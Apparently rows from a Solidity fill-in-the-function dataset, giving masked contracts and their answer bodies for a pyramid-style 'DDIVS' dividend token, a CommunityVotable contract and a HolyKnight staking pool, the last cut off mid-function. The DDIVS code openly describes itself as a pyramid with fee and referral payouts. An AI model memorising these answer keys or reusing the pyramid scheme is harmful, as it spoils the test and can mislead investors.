the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[msg.sender] = SafeMath.add(tokenBalanceLedger_[msg.sender], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[msg.sender] += _updatedPayouts; // fire event emit onTokenPurchase(msg.sender, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
contract DDIVS { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } modifier notContract() { require (msg.sender == tx.origin); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> change the PoS difficulty (How many tokens it costs to hold a masternode) // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } uint ACTIVATION_TIME = 1538028000; // ensures that the first tokens in the contract will be equally distributed // meaning, no divine dump will be ever possible // result: healthy longevity. modifier antiEarlyWhale(uint256 _amountOfEthereum){ address _customerAddress = msg.sender; if (now >= ACTIVATION_TIME) { onlyAmbassadors = false; } // are we still in the vulnerable phase? // if so, enact anti early whale protocol if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){ require( // is the customer in the ambassador list? ambassadors_[_customerAddress] == true && // does the customer purchase exceed the max ambassador quota? (ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_ ); // updated the accumulated quota ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum); // execute _; } else { // in case the ether count drops low, the ambassador phase won't reinitiate onlyAmbassadors = false; _; } } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "DDIVS"; string public symbol = "DDIVS"; uint8 constant public decimals = 18; uint8 constant internal dividendFee_ = 18; // 18% dividend fee for double divs tokens on each buy and sell uint8 constant internal fundFee_ = 7; // 7% investment fund fee to buy double divs on each buy and sell uint256 constant internal tokenPriceInitial_ = 0.00000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2**64; // Address to send the 1% Fee address public giveEthFundAddress = 0x85EcbC22e9c0Ad0c1Cb3F4465582493bADc50433; bool public finalizedEthFundAddress = false; uint256 public totalEthFundRecieved; // total ETH charity recieved from this contract uint256 public totalEthFundCollected; // total ETH charity collected in this contract // proof of stake (defaults at 100 tokens) uint256 public stakingRequirement = 25e18; // ambassador program mapping(address => bool) internal ambassadors_; uint256 constant internal ambassadorMaxPurchase_ = 0.75 ether; uint256 constant internal ambassadorQuota_ = 1.5 ether; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; // administrator list (see above on what they can do) mapping(address => bool) public administrators; // when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid) bool public onlyAmbassadors = true; // Special Double Divs Platform control from scam game contracts on Double Divs platform mapping(address => bool) public canAcceptTokens_; // contracts, which can accept Double Divs tokens mapping(address => address) public stickyRef; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ constructor() public { // add administrators here administrators[0x28F0088308CDc140C2D72fBeA0b8e529cAA5Cb40] = true; // add the ambassadors here - Tokens will be distributed to these addresses from main premine ambassadors_[0x41FE3738B503cBaFD01C1Fd8DD66b7fE6Ec11b01] = true; // add the ambassadors here - Tokens will be distributed to these addresses from main premine ambassadors_[0x28F0088308CDc140C2D72fBeA0b8e529cAA5Cb40] = true; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) public payable returns(uint256) { require(tx.gasprice <= 0.05 szabo); purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { require(tx.gasprice <= 0.05 szabo); purchaseTokens(msg.value, 0x0); } function updateFundAddress(address _newAddress) onlyAdministrator() public { require(finalizedEthFundAddress == false); giveEthFundAddress = _newAddress; } function finalizeFundAddress(address _finalAddress) onlyAdministrator() public { require(finalizedEthFundAddress == false); giveEthFundAddress = _finalAddress; finalizedEthFundAddress = true; } /** * Sends FUND money to the Dev Fee Contract * The address is here https://etherscan.io/address/0x85EcbC22e9c0Ad0c1Cb3F4465582493bADc50433 */ function payFund() payable public { uint256 ethToPay = SafeMath.sub(totalEthFundCollected, totalEthFundRecieved); require(ethToPay > 0); totalEthFundRecieved = SafeMath.add(totalEthFundRecieved, ethToPay); if(!giveEthFundAddress.call.value(ethToPay)()) { revert(); } } /** * Converts all of caller's dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event emit onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event emit onWithdraw(_customerAddress, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); uint256 _refPayout = _dividends / 3; _dividends = SafeMath.sub(_dividends, _refPayout); (_dividends,) = handleRef(stickyRef[msg.sender], _refPayout, _dividends, 0); // Take out dividends and then _fundPayout uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout); // Add ethereum to send to fund totalEthFundCollected = SafeMath.add(totalEthFundCollected, _fundPayout); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event emit onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /** * Transfer tokens from the caller to a new holder. * REMEMBER THIS IS 0% TRANSFER FEE */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until ambassador phase is over // ( we dont want whale premines ) require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); // fire event emit Transfer(_customerAddress, _toAddress, _amountOfTokens); // ERC20 return true; } /** * Transfer token to a specified address and forward the data to recipient * ERC-677 standard * https://github.com/ethereum/EIPs/issues/677 * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transferAndCall(address _to, uint256 _value, bytes _data) external returns (bool) { require(_to != address(0)); require(canAcceptTokens_[_to] == true); // security check that contract approved by Double Divs platform require(transfer(_to, _value)); // do a normal token transfer to the contract if (isContract(_to)) { AcceptsDDIVS receiver = AcceptsDDIVS(_to); require(receiver.tokenFallback(msg.sender, _value, _data)); } return true; } /** * Additional check that the game address we are sending tokens to is a contract * assemble the given address bytecode. If bytecode exists then the _addr is a contract. */ function isContract(address _addr) private constant returns (bool is_contract) { // retrieve the size of the code on target address, this needs assembly uint length; assembly { length := extcodesize(_addr) } return length > 0; } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * In case the amassador quota is not met, the administrator can manually disable the ambassador phase. */ //function disableInitialStage() // onlyAdministrator() // public //{ // onlyAmbassadors = false; //} /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(address _identifier, bool _status) onlyAdministrator() public { administrators[_identifier] = _status; } /** * Precautionary measures in case we need to adjust the masternode rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * Add or remove game contract, which can accept Double Divs (DDIVS) tokens */ function setCanAcceptTokens(address _address, bool _value) onlyAdministrator() public { canAcceptTokens_[_address] = _value; } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return address(this).balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } <FILL_FUNCTION> /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); uint256 _taxedEthereum = SafeMath.add(SafeMath.add(_ethereum, _dividends), _fundPayout); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereumToSpend, fundFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereumToSpend, _dividends), _fundPayout); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout); return _taxedEthereum; } /** * Function for the frontend to show ether waiting to be send to fund in contract */ function etherToSendFund() public view returns(uint256) { return SafeMath.sub(totalEthFundCollected, totalEthFundRecieved); } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ // Make sure we will send back excess if user sends more then 5 ether before 100 ETH in contract function purchaseInternal(uint256 _incomingEthereum, address _referredBy) notContract()// no contracts allowed internal returns(uint256) { uint256 purchaseEthereum = _incomingEthereum; uint256 excess; if(purchaseEthereum > 2.5 ether) { // check if the transaction is over 2.5 ether if (SafeMath.sub(address(this).balance, purchaseEthereum) <= 100 ether) { // if so check the contract is less then 100 ether purchaseEthereum = 2.5 ether; excess = SafeMath.sub(_incomingEthereum, purchaseEthereum); } } purchaseTokens(purchaseEthereum, _referredBy); if (excess > 0) { msg.sender.transfer(excess); } } function handleRef(address _ref, uint _referralBonus, uint _currentDividends, uint _currentFee) internal returns (uint, uint){ uint _dividends = _currentDividends; uint _fee = _currentFee; address _referredBy = stickyRef[msg.sender]; if (_referredBy == address(0x0)){ _referredBy = _ref; } // is the user referred by a masternode? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != msg.sender && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ // wealth redistribution if (stickyRef[msg.sender] == address(0x0)){ stickyRef[msg.sender] = _referredBy; } referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus/2); address currentRef = stickyRef[_referredBy]; if (currentRef != address(0x0) && tokenBalanceLedger_[currentRef] >= stakingRequirement){ referralBalance_[currentRef] = SafeMath.add(referralBalance_[currentRef], (_referralBonus/10)*3); currentRef = stickyRef[currentRef]; if (currentRef != address(0x0) && tokenBalanceLedger_[currentRef] >= stakingRequirement){ referralBalance_[currentRef] = SafeMath.add(referralBalance_[currentRef], (_referralBonus/10)*2); } else{ _dividends = SafeMath.add(_dividends, _referralBonus - _referralBonus/2 - (_referralBonus/10)*3); _fee = _dividends * magnitude; } } else{ _dividends = SafeMath.add(_dividends, _referralBonus - _referralBonus/2); _fee = _dividends * magnitude; } } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } return (_dividends, _fee); } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) antiEarlyWhale(_incomingEthereum) internal returns(uint256) { // data setup uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, dividendFee_), 100); uint256 _referralBonus = SafeMath.div(_undividedDividends, 3); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_incomingEthereum, fundFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _fee; (_dividends, _fee) = handleRef(_referredBy, _referralBonus, _dividends, _fee); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_incomingEthereum, _dividends), _fundPayout); totalEthFundCollected = SafeMath.add(totalEthFundCollected, _fundPayout); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); // no point in continuing execution if OP is a poor russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[msg.sender] = SafeMath.add(tokenBalanceLedger_[msg.sender], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[msg.sender] += _updatedPayouts; // fire event emit onTokenPurchase(msg.sender, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
// our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout); return _taxedEthereum; }
function sellPrice() public view returns(uint256)
/** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256)
66597
CommunityVotable
setCommunityVote
contract CommunityVotable is Ownable { // // Variables // ----------------------------------------------------------------------------------------------------------------- CommunityVote public communityVote; bool public communityVoteFrozen; // // Events // ----------------------------------------------------------------------------------------------------------------- event SetCommunityVoteEvent(CommunityVote oldCommunityVote, CommunityVote newCommunityVote); event FreezeCommunityVoteEvent(); // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Set the community vote contract /// @param newCommunityVote The (address of) CommunityVote contract instance function setCommunityVote(CommunityVote newCommunityVote) public onlyDeployer notNullAddress(address(newCommunityVote)) notSameAddresses(address(newCommunityVote), address(communityVote)) {<FILL_FUNCTION_BODY> } /// @notice Freeze the community vote from further updates /// @dev This operation can not be undone function freezeCommunityVote() public onlyDeployer { communityVoteFrozen = true; // Emit event emit FreezeCommunityVoteEvent(); } // // Modifiers // ----------------------------------------------------------------------------------------------------------------- modifier communityVoteInitialized() { require(address(communityVote) != address(0), "Community vote not initialized [CommunityVotable.sol:67]"); _; } }
contract CommunityVotable is Ownable { // // Variables // ----------------------------------------------------------------------------------------------------------------- CommunityVote public communityVote; bool public communityVoteFrozen; // // Events // ----------------------------------------------------------------------------------------------------------------- event SetCommunityVoteEvent(CommunityVote oldCommunityVote, CommunityVote newCommunityVote); event FreezeCommunityVoteEvent(); <FILL_FUNCTION> /// @notice Freeze the community vote from further updates /// @dev This operation can not be undone function freezeCommunityVote() public onlyDeployer { communityVoteFrozen = true; // Emit event emit FreezeCommunityVoteEvent(); } // // Modifiers // ----------------------------------------------------------------------------------------------------------------- modifier communityVoteInitialized() { require(address(communityVote) != address(0), "Community vote not initialized [CommunityVotable.sol:67]"); _; } }
require(!communityVoteFrozen, "Community vote frozen [CommunityVotable.sol:41]"); // Set new community vote CommunityVote oldCommunityVote = communityVote; communityVote = newCommunityVote; // Emit event emit SetCommunityVoteEvent(oldCommunityVote, newCommunityVote);
function setCommunityVote(CommunityVote newCommunityVote) public onlyDeployer notNullAddress(address(newCommunityVote)) notSameAddresses(address(newCommunityVote), address(communityVote))
// // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Set the community vote contract /// @param newCommunityVote The (address of) CommunityVote contract instance function setCommunityVote(CommunityVote newCommunityVote) public onlyDeployer notNullAddress(address(newCommunityVote)) notSameAddresses(address(newCommunityVote), address(communityVote))
68681
HolyKnight
withdraw
contract HolyKnight is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of HOLYs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accHolyPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accHolyPerShare` (and `lastRewardCalcBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. // Thus every change in pool or allocation will result in recalculation of values // (otherwise distribution remains constant btwn blocks and will be properly calculated) uint256 stakedLPAmount; } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract uint256 allocPoint; // How many allocation points assigned to this pool. HOLYs to distribute per block uint256 lastRewardCalcBlock; // Last block number for which HOLYs distribution is already calculated for the pool uint256 accHolyPerShare; // Accumulated HOLYs per share, times 1e12. See below bool stakeable; // we should call deposit method on the LP tokens provided (used for e.g. vault staking) address stakeableContract; // location where to deposit LP tokens if pool is stakeable IERC20 stakedHoldableToken; } // The Holyheld token HolyToken public holytoken; // Dev address. address public devaddr; // Treasury address address public treasuryaddr; // The block number when HOLY mining starts. uint256 public startBlock; // The block number when HOLY mining targeted to end (if full allocation). uint256 public targetEndBlock; // Total amount of tokens to distribute uint256 public totalSupply; // Reserved percent of HOLY tokens for current distribution (when pool allocation is not full) uint256 public reservedPercent; // HOLY tokens created per block, calculatable through updateHolyPerBlock(). uint256 public holyPerBlock; // Info of each pool. PoolInfo[] public poolInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Info of total amount of staked LP tokens by all users mapping (address => uint256) public totalStaked; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); event Treasury(address indexed token, address treasury, uint256 amount); constructor( HolyToken _token, address _devaddr, address _treasuryaddr, uint256 _totalsupply, uint256 _reservedPercent, uint256 _startBlock, uint256 _targetEndBlock ) public { holytoken = _token; devaddr = _devaddr; treasuryaddr = _treasuryaddr; //as knight is deployed by Holyheld token, transfer ownership to dev transferOwnership(_devaddr); totalSupply = _totalsupply; reservedPercent = _reservedPercent; startBlock = _startBlock; targetEndBlock = _targetEndBlock; //calculate initial token number per block updateHolyPerBlock(); } // Reserve some percentage of HOLY token distribution // (e.g. initially, 10% of tokens are reserved for future pools to be added) function setReserve(uint256 _reservedPercent) public onlyOwner { reservedPercent = _reservedPercent; updateHolyPerBlock(); } function updateHolyPerBlock() internal { //safemath substraction cannot overflow holyPerBlock = totalSupply.sub(totalSupply.mul(reservedPercent).div(100)).div(targetEndBlock.sub(startBlock)); massUpdatePools(); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _stakeable, address _stakeableContract, IERC20 _stakedHoldableToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardCalcBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardCalcBlock: lastRewardCalcBlock, accHolyPerShare: 0, stakeable: _stakeable, stakeableContract: _stakeableContract, stakedHoldableToken: IERC20(_stakedHoldableToken) })); if(_stakeable) { _lpToken.approve(_stakeableContract, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); } } // Update the given pool's HOLY allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // View function to see pending HOLYs on frontend. function pendingHoly(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accHolyPerShare = pool.accHolyPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardCalcBlock && lpSupply != 0) { uint256 multiplier = block.number.sub(pool.lastRewardCalcBlock); uint256 tokenReward = multiplier.mul(holyPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accHolyPerShare = accHolyPerShare.add(tokenReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accHolyPerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardCalcBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardCalcBlock = block.number; return; } uint256 multiplier = block.number.sub(pool.lastRewardCalcBlock); uint256 tokenReward = multiplier.mul(holyPerBlock).mul(pool.allocPoint).div(totalAllocPoint); //no 